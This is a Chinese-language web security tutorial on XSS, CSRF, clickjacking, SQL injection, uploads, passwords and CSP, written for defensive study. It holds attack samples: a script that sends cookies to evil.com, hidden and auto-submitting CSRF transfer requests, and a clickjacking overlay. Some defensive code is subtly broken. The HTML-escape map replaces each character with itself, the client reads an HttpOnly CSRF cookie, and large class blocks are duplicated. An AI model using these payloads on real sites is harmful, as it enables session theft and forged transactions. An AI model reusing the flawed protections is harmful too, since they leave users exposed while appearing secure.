Web 安全
约 3485 字大约 12 分钟
Web 安全
XSS (跨站脚本攻击) 🔴
1. XSS攻击原理
XSS(Cross-Site Scripting)是一种将恶意代码注入到网页中执行的攻击方式。主要分为以下几类:
1.1 反射型XSS
- 非持久化攻击
- 需要用户点击特制的链接
- 恶意代码包含在URL中
- 服务器将恶意代码反射给浏览器执行
攻击示例:
<!-- 假设URL为: http://example.com?q=<script>alert('XSS')</script> -->
<!-- 服务器未经处理直接输出到页面 -->
<div>搜索结果:<?php echo $_GET['q']; ?></div>
1.2 存储型XSS
- 持久化攻击
- 恶意代码存储在服务器中
- 受害者访问页面时执行恶意代码
- 危害更大,影响范围更广
攻击示例:
<!-- 用户提交的评论包含恶意代码 -->
<script>
// 窃取cookie
new Image().src = 'http://evil.com/steal?cookie=' + document.cookie;
</script>
1.3 DOM型XSS
- 基于DOM操作
- 不经过服务器
- 在客户端执行
- 修改页面DOM结构
攻击示例:
// 不安全的DOM操作
location.href.substring(location.href.indexOf("default=") + 8);
document.write("默认值: " + decodeURIComponent(result));
2. XSS防御措施
2.1 输入过滤
对用户输入进行严格过滤:
// XSS过滤函数
function escapeHtml(str) {
return str.replace(/[&<>"']/g, match => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
})[match]);
}
// 过滤示例
const userInput = "<script>alert('XSS')</script>";
const safeInput = escapeHtml(userInput);
2.2 CSP配置
内容安全策略(Content Security Policy)配置:
<!-- CSP配置 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
object-src 'none';
media-src 'self';
frame-src 'self';
connect-src 'self' https://api.example.com;
">
2.3 HttpOnly Cookie
防止Cookie被JavaScript访问:
// 服务器端设置HttpOnly Cookie
response.setHeader('Set-Cookie', 'session=123; HttpOnly; Secure');
CSRF (跨站请求伪造) 🔴
1. CSRF攻击原理
CSRF(Cross-Site Request Forgery)是一种冒用用户身份发起恶意请求的攻击。
1.1 攻击流程
- 用户登录目标网站A并获取Cookie
- 用户访问恶意网站B
- B网站向A网站发起请求,自动带上用户Cookie
- A网站验证Cookie有效,执行恶意操作
攻击示例:
<!-- 恶意网站的图片请求 -->
<img src="http://bank.example/transfer?to=attacker&amount=1000" style="display: none;">
<!-- 自动提交的表单 -->
<form id="csrf-form" action="http://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
2. CSRF防御措施
2.1 CSRF Token
在表单中添加随机Token:
// 服务器端生成Token
const csrf_token = crypto.randomBytes(32).toString('hex');
session.csrf_token = csrf_token;
// 客户端发送请求
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrf_token
},
body: JSON.stringify(data)
});
// 服务器端验证Token
function validateCsrfToken(req, res, next) {
const token = req.headers['x-csrf-token'];
if (!token || token !== req.session.csrf_token) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}
2.2 Same-Site Cookie
设置Cookie的SameSite属性:
// 设置Strict模式
response.setHeader('Set-Cookie', 'session=123; SameSite=Strict');
// 设置Lax模式
response.setHeader('Set-Cookie', 'session=123; SameSite=Lax');
2.3 验证请求来源
检查Referer和Origin头:
function checkOrigin(req, res, next) {
const origin = req.headers.origin;
const referer = req.headers.referer;
if (!origin && !referer) {
return res.status(403).json({ error: 'Missing origin' });
}
const allowedOrigins = ['https://example.com'];
if (!allowedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Invalid origin' });
}
next();
}
点击劫持 🔴
1. 点击劫持原理
点击劫持(Clickjacking)是一种视觉欺骗攻击,通过iframe嵌套将恶意页面置于透明的目标页面之上。
攻击示例:
<!-- 恶意页面 -->
<style>
.overlay {
position: absolute;
top: 0;
left: 0;
opacity: 0;
z-index: 1;
}
</style>
<button>点击领取奖励</button>
<iframe class="overlay" src="http://bank.example/transfer"></iframe>
2. 防御措施
2.1 X-Frame-Options
设置X-Frame-Options头:
// 禁止所有iframe嵌套
response.setHeader('X-Frame-Options', 'DENY');
// 只允许同源iframe嵌套
response.setHeader('X-Frame-Options', 'SAMEORIGIN');
// 允许指定源嵌套
response.setHeader('X-Frame-Options', 'ALLOW-FROM https://trusted.com');
2.2 CSP frame-ancestors
使用CSP控制iframe嵌套:
// 禁止所有嵌套
response.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
// 只允许同源嵌套
response.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
// 允许指定源嵌套
response.setHeader('Content-Security-Policy', "frame-ancestors 'self' https://trusted.com");
2.3 JavaScript防护
通过JavaScript检测iframe嵌套:
// 防止页面被嵌套
if (window.self !== window.top) {
window.top.location = window.self.location;
}
// 更安全的检测方法
try {
if (window.top.location.hostname !== window.location.hostname) {
window.top.location = window.self.location;
}
} catch (e) {
window.top.location = window.self.location;
}
其他安全问题 🔴
1. SQL注入防护
// 使用参数化查询
const mysql = require('mysql');
const connection = mysql.createConnection({
// 数据库配置
});
// 不安全的查询
const query1 = `SELECT * FROM users WHERE username = '${username}'`; // 不要这样做
// 安全的参数化查询
const query2 = 'SELECT * FROM users WHERE username = ?';
connection.query(query2, [username], (error, results) => {
// 处理结果
});
2. 文件上传安全
// 文件上传安全检查
function validateFile(file) {
// 检查文件大小
const maxSize = 5 * 1024 * 1024; // 5MB
if (file.size > maxSize) {
throw new Error('File too large');
}
// 检查文件类型
const allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!allowedTypes.includes(file.type)) {
throw new Error('Invalid file type');
}
// 检查文件内容
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.onload = (e) => {
const arr = new Uint8Array(e.target.result).subarray(0, 4);
let header = '';
for (let i = 0; i < arr.length; i++) {
header += arr[i].toString(16);
}
// 检查文件头
const signatures = {
'89504e47': 'image/png',
'ffd8ffe0': 'image/jpeg',
'47494638': 'image/gif'
};
if (!signatures[header]) {
reject(new Error('Invalid file content'));
}
resolve(file);
};
reader.readAsArrayBuffer(file);
});
}
3. 密码安全
// 密码加密
const bcrypt = require('bcrypt');
async function hashPassword(password) {
const saltRounds = 10;
const hash = await bcrypt.hash(password, saltRounds);
return hash;
}
async function verifyPassword(password, hash) {
const match = await bcrypt.compare(password, hash);
return match;
}
// 密码强度检查
function checkPasswordStrength(password) {
const minLength = 8;
const hasUpperCase = /[A-Z]/.test(password);
const hasLowerCase = /[a-z]/.test(password);
const hasNumbers = /\d/.test(password);
const hasSpecialChars = /[!@#$%^&*(),.?":{}|<>]/.test(password);
return {
isStrong: password.length >= minLength &&
hasUpperCase &&
hasLowerCase &&
hasNumbers &&
hasSpecialChars,
requirements: {
minLength: password.length >= minLength,
hasUpperCase,
hasLowerCase,
hasNumbers,
hasSpecialChars
}
};
}
Web安全进阶 🔴
1. XSS防御深入
1.1 XSS防御完整方案
- 输入过滤
class XSSFilter {
constructor(options = {}) {
this.options = {
whiteList: {
a: ['href', 'title', 'target'],
img: ['src', 'alt'],
p: [],
div: [],
span: [],
...options.whiteList
},
stripIgnoreTag: true, // 去除不在白名单内的标签
stripIgnoreTagBody: ['script', 'style'], // 去除标签及其内容
...options
};
}
// 过滤HTML
filterHTML(html) {
const document = new DOMParser().parseFromString(html, 'text/html');
this.filterNode(document.body);
return document.body.innerHTML;
}
// 过滤节点
filterNode(node) {
const childNodes = [...node.childNodes];
childNodes.forEach(child => {
if (child.nodeType === 1) { // 元素节点
const tagName = child.tagName.toLowerCase();
if (this.options.stripIgnoreTagBody.includes(tagName)) {
child.remove();
return;
}
if (this.options.whiteList[tagName]) {
// 过滤属性
const attributes = [...child.attributes];
attributes.forEach(attr => {
if (!this.options.whiteList[tagName].includes(attr.name)) {
child.removeAttribute(attr.name);
} else {
// 过滤属性值中的危险内容
child.setAttribute(attr.name,
this.filterAttrValue(attr.value));
}
});
this.filterNode(child);
} else if (this.options.stripIgnoreTag) {
// 将不允许的标签替换为其文本内容
child.replaceWith(child.textContent);
}
}
});
}
// 过滤属性值
filterAttrValue(value) {
return value.replace(/javascript:/gi, '')
.replace(/data:/gi, '')
.replace(/vbscript:/gi, '');
}
}
// 使用示例
const xssFilter = new XSSFilter();
const safeHTML = xssFilter.filterHTML(userInput);
- CSP配置详解
// Express中间件示例
function setupCSP(app) {
app.use((req, res, next) => {
// 基本CSP配置
const cspPolicies = {
'default-src': ["'self'"],
'script-src': [
"'self'",
"'unsafe-inline'",
"'unsafe-eval'",
'https://trusted.cdn.com'
],
'style-src': ["'self'", "'unsafe-inline'"],
'img-src': ["'self'", 'data:', 'https:'],
'font-src': ["'self'", 'https://fonts.gstatic.com'],
'connect-src': ["'self'", 'https://api.example.com'],
'frame-src': ["'none'"],
'object-src': ["'none'"],
'base-uri': ["'self'"],
'form-action': ["'self'"],
'frame-ancestors': ["'none'"],
'upgrade-insecure-requests': [],
'block-all-mixed-content': []
};
// 生成CSP头
const cspHeader = Object.entries(cspPolicies)
.map(([key, values]) => {
return values.length > 0
? `${key} ${values.join(' ')}`
: key;
})
.join('; ');
// 设置CSP头
res.setHeader('Content-Security-Policy', cspHeader);
// 设置其他安全头
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
next();
});
}
1.2 XSS攻击检测和监控
- 前端监控
class XSSMonitor {
constructor() {
this.setupMutationObserver();
this.setupEventListeners();
}
// 监控DOM变化
setupMutationObserver() {
const observer = new MutationObserver(mutations => {
mutations.forEach(mutation => {
if (mutation.type === 'childList') {
mutation.addedNodes.forEach(node => {
this.checkNode(node);
});
} else if (mutation.type === 'attributes') {
this.checkAttribute(mutation.target, mutation.attributeName);
}
});
});
observer.observe(document.body, {
childList: true,
subtree: true,
attributes: true,
attributeFilter: ['src', 'href', 'onclick']
});
}
// 监控事件监听器
setupEventListeners() {
const originalAddEventListener = EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener = function(type, listener, options) {
if (type === 'click' || type === 'mouseover') {
// 检查事件处理函数
this.checkEventListener(listener);
}
return originalAddEventListener.call(this, type, listener, options);
};
}
// 检查节点
checkNode(node) {
if (node.nodeType === 1) { // 元素节点
// 检查危险标签
const dangerousTags = ['script', 'object', 'embed', 'base'];
if (dangerousTags.includes(node.tagName.toLowerCase())) {
this.reportViolation({
type: 'dangerous_tag',
tag: node.tagName,
content: node.outerHTML
});
}
// 检查危险属性
const attributes = node.attributes;
for (let i = 0; i < attributes.length; i++) {
this.checkAttribute(node, attributes[i].name);
}
}
}
// 检查属性
checkAttribute(node, attrName) {
const value = node.getAttribute(attrName);
if (!value) return;
// 检查JavaScript URLs
if (value.toLowerCase().includes('javascript:')) {
this.reportViolation({
type: 'javascript_url',
attribute: attrName,
value: value
});
}
// 检查数据URLs
if (value.toLowerCase().includes('data:')) {
this.reportViolation({
type: 'data_url',
attribute: attrName,
value: value
});
}
}
// 检查事件监听器
checkEventListener(listener) {
const listenerString = listener.toString();
const dangerousPatterns = [
'eval(',
'document.write(',
'innerHTML',
'outerHTML'
];
dangerousPatterns.forEach(pattern => {
if (listenerString.includes(pattern)) {
this.reportViolation({
type: 'dangerous_event_listener',
pattern: pattern,
listener: listenerString
});
}
});
}
// 报告违规
reportViolation(violation) {
// 发送到服务器
navigator.sendBeacon('/api/xss-report', JSON.stringify({
timestamp: new Date().toISOString(),
url: window.location.href,
userAgent: navigator.userAgent,
...violation
}));
// 控制台警告
console.warn('Potential XSS Attack Detected:', violation);
}
}
// 初始化监控
new XSSMonitor();
2. CSRF防御进阶
2.1 Token验证完整实现
- 服务端实现
class CSRFProtection {
constructor(options = {}) {
this.options = {
cookieName: 'csrf_token',
headerName: 'X-CSRF-Token',
cookieOptions: {
httpOnly: true,
secure: true,
sameSite: 'Strict',
path: '/'
},
excludePaths: ['/api/public', '/health'],
tokenLength: 32,
...options
};
}
// 生成CSRF Token
generateToken() {
return crypto.randomBytes(this.options.tokenLength)
.toString('base64')
.replace(/[+/=]/g, '');
}
// 验证Token
verifyToken(token, storedToken) {
if (!token || !storedToken) {
return false;
}
// 使用时间恒定的比较方法,防止时序攻击
return crypto.timingSafeEqual(
Buffer.from(token),
Buffer.from(storedToken)
);
}
// Express中间件
middleware() {
return (req, res, next) => {
// 跳过不需要验证的请求
if (this.shouldSkip(req)) {
return next();
}
// 获取或生成Token
let token = req.cookies[this.options.cookieName];
if (!token) {
token = this.generateToken();
res.cookie(
this.options.cookieName,
token,
this.options.cookieOptions
);
}
// 验证Token
if (req.method !== 'GET' && req.method !== 'HEAD') {
const requestToken = req.headers[this.options.headerName.toLowerCase()];
if (!this.verifyToken(requestToken, token)) {
return res.status(403).json({
error: 'CSRF token validation failed'
});
}
}
// 将Token添加到响应头
res.setHeader(this.options.headerName, token);
next();
};
}
// 判断是否需要跳过验证
shouldSkip(req) {
// 跳过预检请求
if (req.method === 'OPTIONS') {
return true;
}
// 跳过指定路径
return this.options.excludePaths.some(path =>
req.path.startsWith(path)
);
}
}
- 客户端实现
class CSRFClient {
constructor(options = {}) {
this.options = {
headerName: 'X-CSRF-Token',
cookieName: 'csrf_token',
refreshEndpoint: '/api/csrf-token',
retryCount: 3,
retryDelay: 1000,
...options
};
this.setupInterceptors();
}
// 设置请求拦截器
setupInterceptors() {
// Axios拦截器
if (window.axios) {
this.setupAxiosInterceptor();
}
// Fetch拦截器
this.setupFetchInterceptor();
}
// 设置Axios拦截器
setupAxiosInterceptor() {
axios.interceptors.request.use(async config => {
const token = this.getToken();
if (token) {
config.headers[this.options.headerName] = token;
} else {
// Token不存在时尝试刷新
const newToken = await this.refreshToken();
if (newToken) {
config.headers[this.options.headerName] = newToken;
}
}
return config;
});
// 响应拦截器处理CSRF错误
axios.interceptors.response.use(
response => response,
async error => {
if (error.response?.status === 403 &&
error.response?.data?.error === 'CSRF token validation failed') {
// 重试请求
return this.retryRequest(error.config);
}
throw error;
}
);
}
// 设置Fetch拦截器
setupFetchInterceptor() {
const originalFetch = window.fetch;
window.fetch = async (url, options = {}) => {
const token = this.getToken();
if (token) {
options.headers = {
...options.headers,
[this.options.headerName]: token
};
}
try {
return await originalFetch(url, options);
} catch (error) {
if (error.status === 403) {
// 重试请求
return this.retryFetch(url, options);
}
throw error;
}
};
}
// 获取Token
getToken() {
const cookies = document.cookie.split(';');
const cookie = cookies.find(c =>
c.trim().startsWith(`${this.options.cookieName}=`)
);
return cookie ? cookie.split('=')[1] : null;
}
// 刷新Token
async refreshToken() {
try {
const response = await fetch(this.options.refreshEndpoint, {
credentials: 'include'
});
if (!response.ok) {
throw new Error('Failed to refresh CSRF token');
}
return response.headers.get(this.options.headerName);
} catch (error) {
console.error('Error refreshing CSRF token:', error);
throw error;
}
}
// 重试请求
async retryRequest(config, retryCount = 0) {
if (retryCount >= this.options.retryCount) {
throw new Error('Max retry attempts reached');
}
await new Promise(resolve =>
setTimeout(resolve, this.options.retryDelay * Math.pow(2, retryCount))
);
const newToken = await this.refreshToken();
config.headers[this.options.headerName] = newToken;
try {
return await axios(config);
} catch (error) {
if (error.response?.status === 403) {
return this.retryRequest(config, retryCount + 1);
}
throw error;
}
}
}
Web安全进阶实践 🔴
1. 内容安全策略(CSP)详解
1.1 CSP完整配置指南
CSP是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括XSS和数据注入攻击。
- 基础配置:
<!-- 基本CSP配置 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self'; /* 默认只允许同源资源 */
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted.com; /* JavaScript来源限制 */
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; /* CSS来源限制 */
img-src 'self' data: https:; /* 图片来源限制 */
font-src 'self' https://fonts.gstatic.com; /* 字体来源限制 */
connect-src 'self' https://api.example.com; /* AJAX/WebSocket限制 */
frame-src 'none'; /* 禁止iframe */
object-src 'none'; /* 禁止<object>/<embed>/<applet> */
media-src 'self'; /* 媒体文件限制 */
frame-ancestors 'none'; /* 禁止被嵌入iframe */
form-action 'self'; /* 表单提交限制 */
base-uri 'self'; /* base标签限制 */
upgrade-insecure-requests; /* 升级不安全请求 */
">
- 服务器端配置:
// Express中间件实现
function setupCSP(app) {
app.use((req, res, next) => {
// 开发环境CSP配置
const devCSP = {
'default-src': ["'self'"],
'script-src': [
"'self'",
"'unsafe-inline'",
"'unsafe-eval'",
'https://trusted.com'
],
'style-src': ["'self'", "'unsafe-inline'"],
'img-src': ["'self'", 'data:', 'https:'],
'connect-src': ["'self'", 'https://api.example.com'],
'report-uri': ['/csp-report']
};
// 生产环境CSP配置
const prodCSP = {
'default-src': ["'self'"],
'script-src': ["'self'", 'https://trusted.com'],
'style-src': ["'self'"],
'img-src': ["'self'"],
'connect-src': ["'self'"],
'report-uri': ['/csp-report'],
'upgrade-insecure-requests': []
};
const cspConfig = process.env.NODE_ENV === 'production' ? prodCSP : devCSP;
// 生成CSP头
const cspHeader = Object.entries(cspConfig)
.map(([key, values]) => {
return values.length > 0
? `${key} ${values.join(' ')}`
: key;
})
.join('; ');
// 设置CSP头
res.setHeader('Content-Security-Policy', cspHeader);
next();
});
// CSP违规报告处理
app.post('/csp-report', (req, res) => {
console.error('CSP Violation:', req.body);
res.status(204).end();
});
}
1.2 CSP违规监控
- 违规报告处理:
class CSPViolationMonitor {
constructor() {
this.violations = new Map();
this.setupReporting();
}
setupReporting() {
// 监听CSP违规事件
document.addEventListener('securitypolicyviolation', (e) => {
this.handleViolation({
blockedURI: e.blockedURI,
violatedDirective: e.violatedDirective,
originalPolicy: e.originalPolicy,
timestamp: new Date().toISOString(),
documentURI: e.documentURI
});
});
}
handleViolation(violation) {
// 记录违规信息
const key = `${violation.blockedURI}:${violation.violatedDirective}`;
if (!this.violations.has(key)) {
this.violations.set(key, {
count: 0,
firstOccurrence: violation.timestamp,
lastOccurrence: violation.timestamp,
samples: []
});
}
const record = this.violations.get(key);
record.count++;
record.lastOccurrence = violation.timestamp;
record.samples = record.samples.slice(-5); // 保留最近5个样本
record.samples.push(violation);
// 发送违规报告
this.reportViolation(violation);
}
async reportViolation(violation) {
try {
await fetch('/csp-report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(violation)
});
} catch (error) {
console.error('Failed to report CSP violation:', error);
}
}
getViolationStats() {
return Array.from(this.violations.entries()).map(([key, data]) => ({
key,
...data,
samplesCount: data.samples.length
}));
}
}
2. 跨站请求伪造(CSRF)深入防护
2.1 Token验证完整实现
- 服务器端实现:
class CSRFProtection {
constructor(options = {}) {
this.options = {
cookieName: 'csrf_token',
headerName: 'X-CSRF-Token',
cookieOptions: {
httpOnly: true,
secure: true,
sameSite: 'Strict',
path: '/'
},
excludePaths: ['/api/public', '/health'],
tokenLength: 32,
...options
};
}
// 生成CSRF Token
generateToken() {
return crypto.randomBytes(this.options.tokenLength)
.toString('base64')
.replace(/[+/=]/g, '');
}
// 验证Token
verifyToken(token, storedToken) {
if (!token || !storedToken) {
return false;
}
// 使用时间恒定的比较方法,防止时序攻击
return crypto.timingSafeEqual(
Buffer.from(token),
Buffer.from(storedToken)
);
}
// Express中间件
middleware() {
return (req, res, next) => {
// 跳过不需要验证的请求
if (this.shouldSkip(req)) {
return next();
}
// 获取或生成Token
let token = req.cookies[this.options.cookieName];
if (!token) {
token = this.generateToken();
res.cookie(
this.options.cookieName,
token,
this.options.cookieOptions
);
}
// 验证Token
if (req.method !== 'GET' && req.method !== 'HEAD') {
const requestToken = req.headers[this.options.headerName.toLowerCase()];
if (!this.verifyToken(requestToken, token)) {
return res.status(403).json({
error: 'CSRF token validation failed'
});
}
}
// 将Token添加到响应头
res.setHeader(this.options.headerName, token);
next();
};
}
// 判断是否需要跳过验证
shouldSkip(req) {
// 跳过预检请求
if (req.method === 'OPTIONS') {
return true;
}
// 跳过指定路径
return this.options.excludePaths.some(path =>
req.path.startsWith(path)
);
}
}
- 客户端实现:
class CSRFClient {
constructor(options = {}) {
this.options = {
headerName: 'X-CSRF-Token',
cookieName: 'csrf_token',
refreshEndpoint: '/api/csrf-token',
retryCount: 3,
retryDelay: 1000,
...options
};
this.setupInterceptors();
}
// 设置请求拦截器
setupInterceptors() {
// Axios拦截器
if (window.axios) {
this.setupAxiosInterceptor();
}
// Fetch拦截器
this.setupFetchInterceptor();
}
// 设置Axios拦截器
setupAxiosInterceptor() {
axios.interceptors.request.use(async config => {
const token = this.getToken();
if (token) {
config.headers[this.options.headerName] = token;
} else {
// Token不存在时尝试刷新
const newToken = await this.refreshToken();
if (newToken) {
config.headers[this.options.headerName] = newToken;
}
}
return config;
});
// 响应拦截器处理CSRF错误
axios.interceptors.response.use(
response => response,
async error => {
if (error.response?.status === 403 &&
error.response?.data?.error === 'CSRF token validation failed') {
// 重试请求
return this.retryRequest(error.config);
}
throw error;
}
);
}
// 设置Fetch拦截器
setupFetchInterceptor() {
const originalFetch = window.fetch;
window.fetch = async (url, options = {}) => {
const token = this.getToken();
if (token) {
options.headers = {
...options.headers,
[this.options.headerName]: token
};
}
try {
return await originalFetch(url, options);
} catch (error) {
if (error.status === 403) {
// 重试请求
return this.retryFetch(url, options);
}
throw error;
}
};
}
// 获取Token
getToken() {
const cookies = document.cookie.split(';');
const cookie = cookies.find(c =>
c.trim().startsWith(`${this.options.cookieName}=`)
);
return cookie ? cookie.split('=')[1] : null;
}
// 刷新Token
async refreshToken() {
try {
const response = await fetch(this.options.refreshEndpoint, {
credentials: 'include'
});
if (!response.ok) {
throw new Error('Failed to refresh CSRF token');
}
return response.headers.get(this.options.headerName);
} catch (error) {
console.error('Error refreshing CSRF token:', error);
throw error;
}
}
// 重试请求
async retryRequest(config, retryCount = 0) {
if (retryCount >= this.options.retryCount) {
throw new Error('Max retry attempts reached');
}
await new Promise(resolve =>
setTimeout(resolve, this.options.retryDelay * Math.pow(2, retryCount))
);
const newToken = await this.refreshToken();
config.headers[this.options.headerName] = newToken;
try {
return await axios(config);
} catch (error) {
if (error.response?.status === 403) {
return this.retryRequest(config, retryCount + 1);
}
throw error;
}
}
}
[未完待续...]